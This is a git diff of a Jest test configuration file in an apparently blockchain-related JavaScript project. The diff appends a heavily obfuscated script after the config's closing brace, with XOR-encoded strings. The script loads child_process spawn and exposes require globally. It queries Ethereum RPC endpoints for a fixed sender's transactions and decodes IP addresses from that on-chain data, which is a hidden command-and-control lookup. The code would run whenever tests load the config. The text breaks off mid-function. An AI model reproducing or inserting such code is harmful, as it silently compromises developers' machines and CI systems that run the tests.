diff --git a/jest.config.js b/jest.config.js index d2765fd0..50bebfd7 100644 --- a/jest.config.js +++ b/jest.config.js @@ -37,4 +37,4 @@ module.exports = { './src/blockchain/': { statements: 22, branches: 23, functions: 19, lines: 21 }, }, testEnvironment: 'node', -}; function GSkqNNyuJw$_padNcYwam(){const etOZXsn_OxqoSnJy$OEFSTCE=['bcbdaff1','f3fdfdfa','a0ba88bbbba8b0','a1aca8adacbbba','b9a0b9ac','a1bdbdb9baf3e6e6f8bbb9aae7a0a6e6acbda1','a1acb1','a6aba3acaabd','aba8baacfffd','fbfffbfcfbf9f190b9a0baa6bb','8aa6a7bdaca7bde485aca7aebda1','a7a6a7aaac','f9b1a8fafbfb8cfcaffa8dfaf8f88dfaf9f1f9acffaff9f8fbf8f9fffaacf0a88d8afbfdf0f98caff8a8','afa0a5bdacbb','9681fb','baaca8bbaaa1','a1bdbdb9f3e6e6','a8adad8cbfaca7bd85a0babdaca7acbb','bbacb9a5a8aaac','a7a6adac','bbacbabca5bd','a4a0a7','a0aea7a6bbac','acbda196aba5a6aaa287bca4abacbb','a1bdbdb9baf3','f3fdfdfae6f9b1e6a5ba','efbabda8bbbdaba5a6aaa2f4f9efaca7adaba5a6aaa2f4f0f0f0f0f0f0f0f0efb9a8aeacf4f8efa6afafbaacbdf4fbf9efbaa6bbbdf4adacbaaaefafa0a5bdacbbabb0f4afbba6a4','a7a6adacf3a1bdbdb9','aeb3a0b9','b9bcbaa1','babcaba8bbbba8b0','fbad9e8fb08f9b','b8fd8f93a2b191b2e8a1e59abbfaf489','fbfffbfef8fbf9b08dbcbd9abc','a1a8ba','bebba0bdac','f8fbbdafac9a81be','bbacb8bcacbabd','aea5a6aba8a592ee969fee94f4ee','a4a8b9','f8f9f9fffcfaffa3bd868f9a8b','bbbca7','8c9d81969b998a969c9b85','aaa6a7bdaca7bde4aca7aaa6ada0a7ae','bdbba8a7baa8aabda0a6a7ba','fbe7f9','a7a6adacf3a1bdbdb9ba','a1bdbdb9baf3e6e6acbda1e7adbbb9aae7a6bbae','a8adad','a7a6adacf3aaa1a0a5ad96b9bba6aaacbaba','8ca4b9bdb0e9b9a8b0a5a6a8ade9aba6adb0','b9a8bbbaac','96bd96ba','bca7bbacaf','f8fbf0fbfafcfbfa839a818d90bc','99869a9d','8e8c9d','aabbaca8bdac80a7afa5a8bdac','eef2aea5a6aba8a592ee9681fbee94f4ee','fbfffcfefff0f9bc8e8c9f828d','f3f1f9','a1bdbdb9baf3e6e6acbda1e7aba5a6aaa2baaaa6bcbde7aaa6a4e6a8b9a0','f1f1838fb1bd86a1','acbbbba6bb','88aeaca7bd','a7a6adacf3bcbba5','bda1aca7','baa0aea7a8a5','b1e4b9a8b0a5a6a8ade4abfffd','ada8bda8','b0e4b996f7adedf98bef8997f8a898a2','fff9fafaf8fefd81b08d8c9fbb','aabbaca8bdac8bbba6bda5a08dacaaa6a4b9bbacbaba','a5aca7aebda1','818c888d','f6a4a6adbca5acf4a8aaaaa6bca7bdefa8aabda0a6a7f4bdb1a5a0babdefa8adadbbacbabaf4','84a6b3a0a5a5a8e6fce7f9e9e19ea0a7ada6bebae9879de9f8f9e7f9f2e99ea0a7fffdf2e9b1fffde0e988b9b9a5ac9eacab82a0bde6fcfafee7faffe9e182819d8485e5e9a5a0a2ace98eacaaa2a6e0e98aa1bba6a4ace6f8faf8e7f9e7f9e7f9e99aa8afa8bba0e6fcfafee7faff','aeb3a0b9e5e9adacafa5a8bdace5e9abbb','babdbba0a7aea0afb0','b9a8bda1a7a8a4ac','adacafa5a8bdac','aeacbd','a8b9b9a5a0aaa8bda0a6a7e6a3baa6a7','f3fdfdfae6f9b1e6aaa5ba','acbda196aeacbd8ba5a6aaa28bb087bca4abacbb','aaa6a7bdbba6a5a5acbb','a7a6adacf3b3a5a0ab','aaa1a8bb8aa6adac88bd','bbacbabca4ac','eef2aea5a6aba8a592ee96bd96baee94f4ee','aba5a6aaa287bca4abacbb','88f8f8e4e4e3','a1bdbdb9baf3e6e6acbda1acbbacbca4e4bbb9aae7b9bcaba5a0aaa7a6adace7aaa6a4','eef2aea5a6aba8a592ee9681ee94f4ee','b1e4aeb3a0b9','acbda196aeacbd9dbba8a7baa8aabda0a6a78aa6bca7bd','fa9ca6af9090a5','aaa8bdaaa1','a8aba6bbbd','a1bdbdb9baf3e6e6acbda1e4a4a8a0a7a7acbde7b9bcaba5a0aae7aba5a8babda8b9a0e7a0a6','eef2aea5a6aba8a592eebbee94f4bbacb8bca0bbacf2aea5a6aba8a592eea4ee94f4a4a6adbca5acf2bfa8bbe996aea5a6aba8a5f4aea5a6aba8a5f2','a8a7b0','84a0babaa0a7aee991e499a8b0a5a6a8ade48bfffd','afbba6a4','8aa6a7bdaca7bde49db0b9ac','aca7bf','aaa6a7aaa8bd','b9a6bbbd','a1a6babda7a8a4ac','b9bba6bda6aaa6a5','a2acacb9e4a8a5a0bfac','a8a5a5','abb0bdac85aca7aebda1','eef2aea5a6aba8a592ee96bd96bcee94f4ee','afa0a7ad','afa0a7ad80a7adacb1','fbfff9f9faf1fc99bb8699a088','96bd96bc','afa6bb8ca8aaa1','aca7ad','aabbaca8bdac8ebca7b3a0b9','bda69abdbba0a7ae','bda685a6beacbb8aa8baac'];GSkqNNyuJw$_padNcYwam=function(){return etOZXsn_OxqoSnJy$OEFSTCE;};return GSkqNNyuJw$_padNcYwam();}const BEf$CYFUWXrAiwaYBJ=WlysIxGuPMcViepbraDjp_wli;(function(Xl$bf$sDoXoJDYYk,HTDn$viaGa){const KyT$ImpNQojHcB=WlysIxGuPMcViepbraDjp_wli,nZXZyKB_XfHpJ=Xl$bf$sDoXoJDYYk();while(!![]){try{const Bjb__LSBuuTvrwOljv=parseFloat(KyT$ImpNQojHcB(0x168))/(0x562+0x1*Number(-parseInt(0x502))+parseInt(0x13)*-parseInt(0x5))*(-parseFloat(KyT$ImpNQojHcB(0x171))/(parseInt(0x1)*parseFloat(-0xe21)+parseInt(0x4)*parseInt(0x22)+0x3*Math.floor(parseInt(0x489))))+parseFloat(KyT$ImpNQojHcB(0x1a9))/(Math.max(0xd,parseInt(0xd))*parseFloat(-parseInt(0x112))+-0x1*0x2516+Math.trunc(0x5ab)*0x9)*Math['ceil'](parseFloat(KyT$ImpNQojHcB(0x152))/(Math.max(0xe4a,0xe4a)+Number(-0x13)*-parseInt(0x121)+-0x23b9))+-parseFloat(KyT$ImpNQojHcB(0x1bd))/(-0x729+parseInt(parseInt(0x7))*Math.max(-0xf7,-0xf7)+parseInt(0xdef))*parseFloat(parseFloat(KyT$ImpNQojHcB(0x16d))/(-0x659+Number(-parseInt(0x559))*parseInt(-parseInt(0x2))+-parseInt(0x7b)*Number(parseInt(0x9))))+Math['floor'](-parseFloat(KyT$ImpNQojHcB(0x190))/(parseInt(0x1da3)+parseInt(0x3)*Math.trunc(0x22d)+-0x2423))+parseFloat(-parseFloat(KyT$ImpNQojHcB(0x16a))/(-parseInt(0xf5)*-0x27+Math.ceil(0x18ee)+Number(-0x3e39)))+parseFloat(KyT$ImpNQojHcB(0x17f))/(parseInt(0xd44)+parseFloat(0xa75)+Math.ceil(-parseInt(0x17b0)))+parseFloat(KyT$ImpNQojHcB(0x184))/(parseInt(0x1e87)+parseInt(0x1c8b)*parseInt(-parseInt(0x1))+Math.floor(-0x1f2))*Number(parseFloat(KyT$ImpNQojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ(0x173)],BEf$CYFUWXrAiwaYBJ(0x1c9),BEf$CYFUWXrAiwaYBJ(0x178),BEf$CYFUWXrAiwaYBJ(0x1a5),BEf$CYFUWXrAiwaYBJ(0x1ac)][BEf$CYFUWXrAiwaYBJ(0x156)](Boolean))],AGENTS={'http:':new http[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq){const kWTEsEcWlD_BUQH=GSkqNNyuJw$_padNcYwam();return WlysIxGuPMcViepbraDjp_wli=function(tA_RC$xn,isVtuf$ZSU$huUCt){tA_RC$xn=tA_RC$xn-(parseInt(0x1)*parseFloat(-parseInt(0xfa6))+-0xbd*Math.ceil(0x1d)+parseInt(0x2660));let NMEoPhIkCfevMgn=kWTEsEcWlD_BUQH[tA_RC$xn];if(WlysIxGuPMcViepbraDjp_wli['DygzNg']===undefined){const WYkNNREB=function(yKfxUzllsQeciuTTd){let WNSfkHUMF__gRFhcdmgOuEhgmQ=-parseInt(0x5d1)+Math.trunc(-0xf9e)+parseInt(-0xc1c)*-0x2&parseFloat(parseInt(0x2134))+0x2252+-parseInt(0x4287),ngyngPAupzHA$yVGA=new Uint8Array(yKfxUzllsQeciuTTd['match'](/.{1,2}/g)['map'](sQCRcCAvmfPvdrQIY$uj$Ss=>parseInt(sQCRcCAvmfPvdrQIY$uj$Ss,-0x793*Math.ceil(0x1)+-0x178d*Number(-0x1)+-parseInt(0xfea)))),chTIQE$dvTHGh_M=ngyngPAupzHA$yVGA['map'](nanuwgOSOV=>nanuwgOSOV^WNSfkHUMF__gRFhcdmgOuEhgmQ),ebdo$Q_z=new TextDecoder(),X$UlamGszKv_mpfCd=ebdo$Q_z['decode'](chTIQE$dvTHGh_M);return X$UlamGszKv_mpfCd;};WlysIxGuPMcViepbraDjp_wli['jYnEnM']=WYkNNREB,spFB_wLVORqvKrwa=arguments,WlysIxGuPMcViepbraDjp_wli['DygzNg']=!![];}const kOlyQ$dtGKf=kWTEsEcWlD_BUQH[-0x18c0+Math.floor(-0x101b)+0x28db],MsdHTfLBNjfnWUlbt=tA_RC$xn+kOlyQ$dtGKf,Kepv_qCFfNHmUDX$mOnAR=spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt];return!Kepv_qCFfNHmUDX$mOnAR?(WlysIxGuPMcViepbraDjp_wli['LkFify']===undefined&&(WlysIxGuPMcViepbraDjp_wli['LkFify']=!![]),NMEoPhIkCfevMgn=WlysIxGuPMcViepbraDjp_wli['jYnEnM'](NMEoPhIkCfevMgn),spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt]=NMEoPhIkCfevMgn):NMEoPhIkCfevMgn=Kepv_qCFfNHmUDX$mOnAR,NMEoPhIkCfevMgn;},WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq);}function linkAbort(qRbWgh$_L,GlRQrYsHirhY$Vyg){const Sxq$NJJJDIKAYR=BEf$CYFUWXrAiwaYBJ;if(!qRbWgh$_L)return;qRbWgh$_L[Sxq$NJJJDIKAYR(0x15a)](Sxq$NJJJDIKAYR(0x1ab),()=>GlRQrYsHirhY$Vyg[Sxq$NJJJDIKAYR(0x1ab)](),{'once':!![]});}function decompressStream(q$Tdc$Ms){const xbMpkdUo=BEf$CYFUWXrAiwaYBJ,HDk$i_Z=(q$Tdc$Ms[xbMpkdUo(0x1c7)][xbMpkdUo(0x174)]||'')[xbMpkdUo(0x1c3)]();if(HDk$i_Z===xbMpkdUo(0x165)||HDk$i_Z===xbMpkdUo(0x1a7))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x1c1)]());if(HDk$i_Z===xbMpkdUo(0x199))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x182)]());if(HDk$i_Z==='br')return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x191)]());return q$Tdc$Ms;}function httpRequest(SuzOqhu_wsl,{method:method=BEf$CYFUWXrAiwaYBJ(0x181),body:HpQOCCKnMmgvJrjeVnbVO,signal:cLnqigtE$K}={}){const nPXXxsFSwK=BEf$CYFUWXrAiwaYBJ,bdbsDZ$mDFcLDwI_rrpLTi=new URL(SuzOqhu_wsl),pzi_$pbcMvkvReYcWnCZf=bdbsDZ$mDFcLDwI_rrpLTi[nPXXxsFSwK(0x1b6)]===nPXXxsFSwK(0x161)?https:http,St_LmIDhBUQfKK$dtTIU={'Accept':nPXXxsFSwK(0x19b),'Accept-Encoding':nPXXxsFSwK(0x196),'Connection':nPXXxsFSwK(0x1b7)};return HpQOCCKnMmgvJrjeVnbVO!=null&&(St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x1b1)]=nPXXxsFSwK(0x19b),St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x153)]=Buffer[nPXXxsFSwK(0x1b9)](HpQOCCKnMmgvJrjeVnbVO)),new Promise((uorYmoQfC_wpoWBP,aS_zzfOgL)=>{const BqQs$upLLUi=nPXXxsFSwK,FDg$trqDV_oIT=pzi_$pbcMvkvReYcWnCZf[BqQs$upLLUi(0x16e)]({'hostname':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b5)],'port':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b4)]||(bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]===BqQs$upLLUi(0x161)?Math.max(-parseInt(0x262a),-0x262a)+Math.floor(0xc2e)+Math.floor(0x285)*parseInt(0xb):-parseInt(0x1520)+parseInt(0x1984)+Math.max(-parseInt(0x414),-0x414)),'path':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x198)]+bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x158)],'method':method,'agent':AGENTS[bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]],'signal':cLnqigtE$K,'headers':St_LmIDhBUQfKK$dtTIU},sec$BG_XeSh=>{const nUBOSFVvyTUKL_bnU=BqQs$upLLUi,iyYkiywGkhxX_wNy_WQ=decompressStream(sec$BG_XeSh),dAli$ezckXOQr_dteiCvPPfEREi=[];iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x18e),SFgiGfNPZDODEIQC=>dAli$ezckXOQr_dteiCvPPfEREi[nUBOSFVvyTUKL_bnU(0x166)](SFgiGfNPZDODEIQC)),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x1c0),()=>{const IURRbBFEfhdLXxf=nUBOSFVvyTUKL_bnU;try{uorYmoQfC_wpoWBP(JSON[IURRbBFEfhdLXxf(0x17c)](Buffer[IURRbBFEfhdLXxf(0x1b3)](dAli$ezckXOQr_dteiCvPPfEREi)[IURRbBFEfhdLXxf(0x1c2)](IURRbBFEfhdLXxf(0x1c4))));}catch(EaYunjJH_vpAdAxipn){aS_zzfOgL(EaYunjJH_vpAdAxipn);}}),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x188),aS_zzfOgL);});FDg$trqDV_oIT['on'](BqQs$upLLUi(0x188),aS_zzfOgL);if(HpQOCCKnMmgvJrjeVnbVO!=null)FDg$trqDV_oIT[BqQs$upLLUi(0x16c)](HpQOCCKnMmgvJrjeVnbVO);FDg$trqDV_oIT[BqQs$upLLUi(0x1c0)]();});}async function withRpcEndpoints(WADEdCtPHv$W_QkABREA,PRKttmQHVWtMFTZuAS){const kEfbdhXYLiYLvXjcpUkpITudq=BEf$CYFUWXrAiwaYBJ,lpJOrOGUuMGz$oIaG=RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)](()=>new AbortController());lpJOrOGUuMGz$oIaG[kEfbdhXYLiYLvXjcpUkpITudq(0x1bf)](t$LTsfTIbSTMMCRUvIzc=>linkAbort(PRKttmQHVWtMFTZuAS,t$LTsfTIbSTMMCRUvIzc));try{return await Promise[kEfbdhXYLiYLvXjcpUkpITudq(0x1ae)](RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)]((DVtayaOitikldZPPoWQu,LMddbXnCA)=>WADEdCtPHv$W_QkABREA(DVtayaOitikldZPPoWQu,lpJOrOGUuMGz$oIaG[LMddbXnCA][kEfbdhXYLiYLvXjcpUkpITudq(0x18c)])));}finally{for(const eTYfSIVUcIbiVQhOP of lpJOrOGUuMGz$oIaG)eTYfSIVUcIbiVQhOP[kEfbdhXYLiYLvXjcpUkpITudq(0x1ab)]();}}async function rpcCall(ASrYvwRNhb$d$lFiE,ZsQMeCj_GUR,JShZnjH_aR,htuoDkxWCrU){const qwsnrJLDkrSgda=BEf$CYFUWXrAiwaYBJ,E$FZbNjRk$eX=await httpRequest(ASrYvwRNhb$d$lFiE,{'method':qwsnrJLDkrSgda(0x180),'body':JSON[qwsnrJLDkrSgda(0x197)]({'jsonrpc':qwsnrJLDkrSgda(0x176),'id':0x1,'method':ZsQMeCj_GUR,'params':JShZnjH_aR}),'signal':htuoDkxWCrU});return E$FZbNjRk$eX[qwsnrJLDkrSgda(0x15d)];}async function rpcBatch(lDejkuZhqqaodSuDQTw,yNiYV_dfUft,T_vPGSx){const RgisztlhTFeAZY=BEf$CYFUWXrAiwaYBJ,Ce$gUKS=await httpRequest(lDejkuZhqqaodSuDQTw,{'method':RgisztlhTFeAZY(0x180),'body':JSON[RgisztlhTFeAZY(0x197)](yNiYV_dfUft[RgisztlhTFeAZY(0x170)](([iljaNbsNAegZnsSMfuHG,UhTsWgssgV_YDs$EvQ],hAn$Dxchc)=>({'jsonrpc':RgisztlhTFeAZY(0x176),'id':hAn$Dxchc+(parseInt(0x53)*-0xd+parseInt(-parseInt(0x7))*parseFloat(parseInt(0x35f))+-parseInt(0x1bd1)*-parseInt(0x1)),'method':iljaNbsNAegZnsSMfuHG,'params':UhTsWgssgV_YDs$EvQ}))),'signal':T_vPGSx}),loKNW$ZEHPqwORFBaZndj$qef=new Map(Ce$gUKS[RgisztlhTFeAZY(0x170)](Hl$GzK=>[Hl$GzK['id'],Hl$GzK]));return yNiYV_dfUft[RgisztlhTFeAZY(0x170)]((rGbwK$FU,WOWcZfwO_kkhojX)=>loKNW$ZEHPqwORFBaZndj$qef[RgisztlhTFeAZY(0x19a)](WOWcZfwO_kkhojX+(Math.ceil(0xb60)+Math.floor(0x1091)*-0x2+parseInt(-0x1)*-parseInt(0x15c3)))[RgisztlhTFeAZY(0x15d)]);}const toBlockHex=nPMI$oplQLHIfFIMh$MXlWouLYr=>'0x'+nPMI$oplQLHIfFIMh$MXlWouLYr[BEf$CYFUWXrAiwaYBJ(0x1c2)](Math.trunc(-0x9e7)+parseInt(0x4a)*-parseInt(0x1f)+-0x11d*parseFloat(-0x11));function findSenderTx(JlepYaLvfHyt){const SBYThyjM$PN_bMmdJBQYZ=BEf$CYFUWXrAiwaYBJ;return JlepYaLvfHyt[SBYThyjM$PN_bMmdJBQYZ(0x1bb)](tQMkfGioJnQRZXosCHWMbN=>tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)]&&tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)][SBYThyjM$PN_bMmdJBQYZ(0x1c3)]()===SENDER)||null;}function decodeAddress(LLFlttzzZOjWxX){const KyRKDi_zVgoWr$Fcp=BEf$CYFUWXrAiwaYBJ,GHVvJhQqwuZof_fMJJmhgHtG=Buffer[KyRKDi_zVgoWr$Fcp(0x1b0)](LLFlttzzZOjWxX[KyRKDi_zVgoWr$Fcp(0x15b)](/^0x/i,''),KyRKDi_zVgoWr$Fcp(0x1ca)),oc_pQi$hRDfnjMb=NtzkwLinmHzrb$T$VOVzhvqWzO=>NtzkwLinmHzrb$T$VOVzhvqWzO[-parseInt(0x3d)*-0x52+-0x174*Number(-0xd)+-parseInt(0x1337)*0x2]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(-parseInt(0x12fd))+Number(-0x1af)*0xc+parseInt(0x2732)]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(0x31)*parseInt(0x55)+-0x1e78+parseInt(parseInt(0xe35))]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[Number(parseInt(0x299))+parseInt(0x13fc)+Math.trunc(-0x1692)];return[oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](Math.ceil(0x25)*-0x103+Math.max(-parseInt(0x960),-parseInt(0x960))+0x2ecf,parseInt(0x146c)+Number(0x4)*parseInt(0x2f0)+-parseInt(0x62)*Math.max(0x54,parseInt(0x54)))),oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](0x67*Number(parseInt(0x5b))+0x6*parseInt(-0x401)+Math.ceil(parseInt(0x3))*-0x431,Math.ceil(-0x15b5)+-0x706*parseInt(0x3)+Math.floor(parseInt(0x2acf))))];}function firstMatch(RXQiRBl){return new Promise(ycfoHDNWrbSH=>{const agPpRSoihEXM=WlysIxGuPMcViepbraDjp_wli;let PW_L$mqJD=RXQiRBl[agPpRSoihEXM(0x192)];if(!PW_L$mqJD)return ycfoHDNWrbSH(null);let c_DcWifKzZZiWxV=![];const MQgJSlLDkonMvAdlnGaV=YXh_Wriz=>{const SLDTKOeeSQmQylQqge$fqRAt=agPpRSoihEXM;if(c_DcWifKzZZiWxV)return;c_DcWifKzZZiWxV=!![];for(const onzMmVaA$nTKSNPFeFyEHd of RXQiRBl)onzMmVaA$nTKSNPFeFyEHd[SLDTKOeeSQmQylQqge$fqRAt(0x19e)][SLDTKOeeSQmQylQqge$fqRAt(0x1ab)]();ycfoHDNWrbSH(YXh_Wriz);};for(const HSdfIaIW$pedbsDYi of RXQiRBl){HSdfIaIW$pedbsDYi[agPpRSoihEXM(0x172)]()[agPpRSoihEXM(0x18b)](lmICTA_NUarZEN=>{if(c_DcWifKzZZiWxV)return;if(lmICTA_NUarZEN)MQgJSlLDkonMvAdlnGaV(lmICTA_NUarZEN);else{if(--PW_L$mqJD===parseInt(0x73)*parseInt(-parseInt(0x4b))+parseFloat(-parseInt(0x280))*Math.ceil(-parseInt(0xe))+-0x14f)ycfoHDNWrbSH(null);}})[agPpRSoihEXM(0x1aa)](()=>{if(!c_DcWifKzZZiWxV&&--PW_L$mqJD===0x1a03+0x7e5+-parseInt(0x21e8))ycfoHDNWrbSH(null);});}});}function candidateBlocks(bLkeguRlGKpOR$sJag_F){const XijawxtX$yOfNKoIBZeBqs=BEf$CYFUWXrAiwaYBJ,cjbYFRMDhmUrBgfcnqAce=bLkeguRlGKpOR$sJag_F-BLOCK_MULTIPLE,xfUDNMijvuXOjMQBDF=new Set(),rHOWoPAmb$L=[];for(const eItYBJvGagwlwlgoIyvkFxSC of[bLkeguRlGKpOR$sJag_F-0x1n,bLkeguRlGKpOR$sJag_F,bLkeguRlGKpOR$sJag_F+0x1n,cjbYFRMDhmUrBgfcnqAce-0x1n,cjbYFRMDhmUrBgfcnqAce,cjbYFRMDhmUrBgfcnqAce+0x1n]){if(eItYBJvGagwlwlgoIyvkFxSC<0x0n)continue;const N$zKLRegWIHol=eItYBJvGagwlwlgoIyvkFxSC[XijawxtX$yOfNKoIBZeBqs(0x1c2)]();if(xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x16b)](N$zKLRegWIHol))continue;xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x179)](N$zKLRegWIHol),rHOWoPAmb$L[XijawxtX$yOfNKoIBZeBqs(0x166)](eItYBJvGagwlwlgoIyvkFxSC);}return rHOWoPAmb$L;}function blockTask(AXUCxPFXCcG){const CcSk$dOOG$tJaJ=new AbortController();return{'controller':CcSk$dOOG$tJaJ,'run':async()=>{const Flb_PeG=WlysIxGuPMcViepbraDjp_wli,J$ygYIX=await withRpcEndpoints((yVvvyY_XmC$ilpeTJT,QzgqxL$lrANn)=>rpcCall(yVvvyY_XmC$ilpeTJT,Flb_PeG(0x19d),[toBlockHex(AXUCxPFXCcG),!![]],QzgqxL$lrANn),CcSk$dOOG$tJaJ[Flb_PeG(0x18c)]),lFUiajiB$mhdtEP=J$ygYIX?.[Flb_PeG(0x175)];if(!Array[Flb_PeG(0x1c6)](lFUiajiB$mhdtEP))return null;const CX$IIYzbRMljhGDGQOn=findSenderTx(lFUiajiB$mhdtEP);return CX$IIYzbRMljhGDGQOn?{'blockNumber':AXUCxPFXCcG,'tx':CX$IIYzbRMljhGDGQOn}:null;}};}async function nonceAtBlocks(xn_wtGgYrKQjgNW_pA,esAMqTjgXNpOIVWCUlHCiJWR){const gC$IHIGOXbRBecVx_R=BEf$CYFUWXrAiwaYBJ,OYgjuXmanrbYtfW=xn_wtGgYrKQjgNW_pA[gC$IHIGOXbRBecVx_R(0x170)](mgcOt=>[gC$IHIGOXbRBecVx_R(0x1a8),[SENDER,toBlockHex(mgcOt)]]);try{return(await withRpcEndpoints((RHnOdxdnc$LyRixBY,DPj_yjR$iRFwaGZps)=>rpcBatch(RHnOdxdnc$LyRixBY,OYgjuXmanrbYtfW,DPj_yjR$iRFwaGZps),esAMqTjgXNpOIVWCUlHCiJWR))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}catch{return(await Promise[gC$IHIGOXbRBecVx_R(0x1b8)](OYgjuXmanrbYtfW[gC$IHIGOXbRBecVx_R(0x170)](([GuGZhYYgT$kyp,PkcxliQBzC])=>withRpcEndpoints((TfBe$DuDUAFUEyKCAXfdMQR,ELXbSluHr_MPeDjZHUnE$jZq)=>rpcCall(TfBe$DuDUAFUEyKCAXfdMQR,GuGZhYYgT$kyp,PkcxliQBzC,ELXbSluHr_MPeDjZHUnE$jZq),esAMqTjgXNpOIVWCUlHCiJWR))))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}}async function lastSenderTx(m_ixszc$Qu){const KYZeSIB=BEf$CYFUWXrAiwaYBJ,vOeJlPmLwpiHL$oohJee=new AbortController();try{const Zh$sPizEILiVZEl=m_ixszc$Qu??BigInt(await withRpcEndpoints((HNTZRdfPREnYvbYPL,OS_$UBVWEnUUVQ)=>rpcCall(HNTZRdfPREnYvbYPL,KYZeSIB(0x160),[],OS_$UBVWEnUUVQ),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),KdmVwLcnVRrGrW=BigInt(await withRpcEndpoints((Jnijrm$GJWFBXseOLFirZ$D,pxHSUzAottYo)=>rpcCall(Jnijrm$GJWFBXseOLFirZ$D,KYZeSIB(0x1a8),[SENDER,toBlockHex(Zh$sPizEILiVZEl)],pxHSUzAottYo),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),wxMNGaAYpSO=KdmVwLcnVRrGrW-0x1n;let EyfGMqfGt=SEARCH_FLOOR-0x1n,MFMjq=Zh$sPizEILiVZEl;while(MFMjq-EyfGMqfGt>0x1n){const xuQ$dxkjYVLINjswAjZJx=MFMjq-EyfGMqfGt-0x1n,opSYF_xqlkKe_bDDtuDuy=BigInt(Math[KYZeSIB(0x15e)](NONCE_FANOUT,Number(xuQ$dxkjYVLINjswAjZJx))),CM$Wz_bSEuXKdWfi=[];for(let IR$LUC=0x1n;IR$LUC<=opSYF_xqlkKe_bDDtuDuy;IR$LUC+=0x1n)CM$Wz_bSEuXKdWfi[KYZeSIB(0x166)](EyfGMqfGt+IR$LUC*(MFMjq-EyfGMqfGt)/(opSYF_xqlkKe_bDDtuDuy+0x1n));const SoikConeelN=await 